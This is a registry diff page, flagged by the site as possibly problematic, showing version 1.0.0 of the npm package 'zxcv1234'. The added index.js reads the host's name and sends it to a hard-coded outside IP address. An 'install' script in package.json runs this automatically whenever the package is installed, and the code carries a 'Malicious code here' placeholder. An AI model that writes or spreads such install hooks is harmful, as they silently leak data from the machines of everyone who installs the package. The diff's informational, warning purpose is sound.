zxcv1234 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of zxcv1234 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +21 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,21 @@
1
+ const os = require('os');
2
+ const axios = require('axios');
3
+
4
+ async function sendRequest() {
5
+ const hostname = os.hostname();
6
+ const url = `http://156.67.31.146:34463?host=${hostname}`;
7
+
8
+ try {
9
+ const response = await axios.get(url);
10
+ } catch (error) {
11
+ console.error('Error sending request:', error);
12
+ }
13
+ }
14
+
15
+ // Call the function
16
+ sendRequest();
17
+
18
+ module.exports = function() {
19
+ console.log("test");
20
+ // Malicious code here
21
+ };
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "zxcv1234",
3
+ "version": "1.0.0",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "install": "node index.js"
7
+ },
8
+ "dependencies": {
9
+ "axios": "^1.7.2"
10
+ }
11
+ }